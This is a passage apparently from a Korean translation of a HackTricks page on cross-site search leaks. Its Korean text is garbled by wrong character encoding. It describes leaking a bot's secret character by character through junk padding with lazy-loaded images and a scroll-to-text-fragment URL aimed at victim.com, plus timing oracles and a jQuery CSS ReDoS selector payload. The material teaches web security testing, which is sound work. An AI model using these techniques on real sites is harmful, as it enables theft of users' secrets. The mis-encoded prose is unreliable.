๋”ฐ๋ผ์„œ, ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ ๋งŽ์€ ์“ฐ๋ ˆ๊ธฐ ๋ฌธ์ž(์˜ˆ: ์ˆ˜์ฒœ ๊ฐœ์˜ โ€œWโ€)๋ฅผ ๋น„๋ฐ€ ์•ž์— ์›น ํŽ˜์ด์ง€๋ฅผ ์ฑ„์šฐ๊ธฐ ์œ„ํ•ด ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: <br><canvas height="1850px"></canvas><br>.
๊ทธ๋Ÿฐ ๋‹ค์Œ ์˜ˆ๋ฅผ ๋“ค์–ด ์ฃผ์ž…์ด ํ”Œ๋ž˜๊ทธ ์•ž์— ๋‚˜ํƒ€๋‚˜๋ฉด, ์ด๋ฏธ์ง€๊ฐ€ ๋กœ๋“œ๋  ๊ฒƒ์ด์ง€๋งŒ, ํ”Œ๋ž˜๊ทธ ๋’ค์— ๋‚˜ํƒ€๋‚˜๋ฉด, ํ”Œ๋ž˜๊ทธ + ์“ฐ๋ ˆ๊ธฐ๊ฐ€ ๋กœ๋“œ๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค(์–ผ๋งˆ๋‚˜ ๋งŽ์€ ์“ฐ๋ ˆ๊ธฐ๋ฅผ ๋ฐฐ์น˜ํ• ์ง€๋Š” ์กฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค). ์ด๊ฒƒ์€ ์ด ๊ธ€์—์„œ ๋ฐœ์ƒํ•œ ์ผ์ž…๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์€ scroll-to-text-fragment๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค(ํ—ˆ์šฉ๋˜๋Š” ๊ฒฝ์šฐ):

Scroll-to-text-fragment

๊ทธ๋Ÿฌ๋‚˜, ๋ด‡์ด ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•˜๋„๋ก ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

#:~:text=SECR

์›น ํŽ˜์ด์ง€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค: https://victim.com/post.html#:~:text=SECR

์—ฌ๊ธฐ์„œ post.html์€ ๊ณต๊ฒฉ์ž์˜ ์“ฐ๋ ˆ๊ธฐ ๋ฌธ์ž์™€ ์ง€์—ฐ ๋กœ๋“œ ์ด๋ฏธ์ง€๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, ๋ด‡์˜ ๋น„๋ฐ€์ด ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

์ด ํ…์ŠคํŠธ๋Š” ๋ด‡์ด ํŽ˜์ด์ง€์—์„œ SECR์ด๋ผ๋Š” ํ…์ŠคํŠธ๋ฅผ ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ํ…์ŠคํŠธ์— ์ ‘๊ทผํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ํ…์ŠคํŠธ๊ฐ€ ๋น„๋ฐ€์ด๊ณ  ์ด๋ฏธ์ง€ ๋ฐ”๋กœ ์•„๋ž˜์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์ •ํ™•ํ•œ ๋น„๋ฐ€์ด ์ถ”์ธก๋˜๋ฉด ์ด๋ฏธ์ง€๋งŒ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋น„๋ฐ€์„ ๋ฌธ์ž ๋‹จ์œ„๋กœ ์œ ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ์˜ค๋ผํด์ด ์ƒ๊น๋‹ˆ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•œ ์ฝ”๋“œ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

์ด๋ฏธ์ง€ ์ง€์—ฐ ๋กœ๋”ฉ ์‹œ๊ฐ„ ๊ธฐ๋ฐ˜

์™ธ๋ถ€ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ด๋ฏธ์ง€๊ฐ€ ๋กœ๋“œ๋˜์—ˆ์Œ์„ ์•Œ๋ฆด ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์€ ๋ฌธ์ž๋ฅผ ์—ฌ๋Ÿฌ ๋ฒˆ ์ถ”์ธกํ•˜๊ณ  ๊ทธ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋ฏธ์ง€๊ฐ€ ๋กœ๋“œ๋˜๋ฉด ๋ชจ๋“  ์š”์ฒญ์ด ์ด๋ฏธ์ง€๊ฐ€ ๋กœ๋“œ๋˜์ง€ ์•Š์•˜์„ ๋•Œ๋ณด๋‹ค ๋” ์˜ค๋ž˜ ๊ฑธ๋ฆฝ๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ์ด ๊ธ€์˜ ํ•ด๊ฒฐ์ฑ…์—์„œ ์‚ฌ์šฉ๋œ ๋ฐฉ๋ฒ• ์—ฌ๊ธฐ์—์„œ ์š”์•ฝ๋œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

jQuery(location.hash)๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด, ์ผ๋ถ€ HTML ์ฝ˜ํ…์ธ ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํƒ€์ด๋ฐ์„ ํ†ตํ•ด ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์„ ํƒ์ž main[id='site-main']๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด ๋‚˜๋จธ์ง€ ์„ ํƒ์ž๋ฅผ ํ™•์ธํ•  ํ•„์š”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Defenses

๊ฐ ์„น์…˜์˜ ์œ„ํ‚ค์™€ https://xsinator.com/paper.pdf์—์„œ ๊ถŒ์žฅ๋˜๋Š” ์™„ํ™” ์กฐ์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๊ทธ๊ณณ์„ ํ™•์ธํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ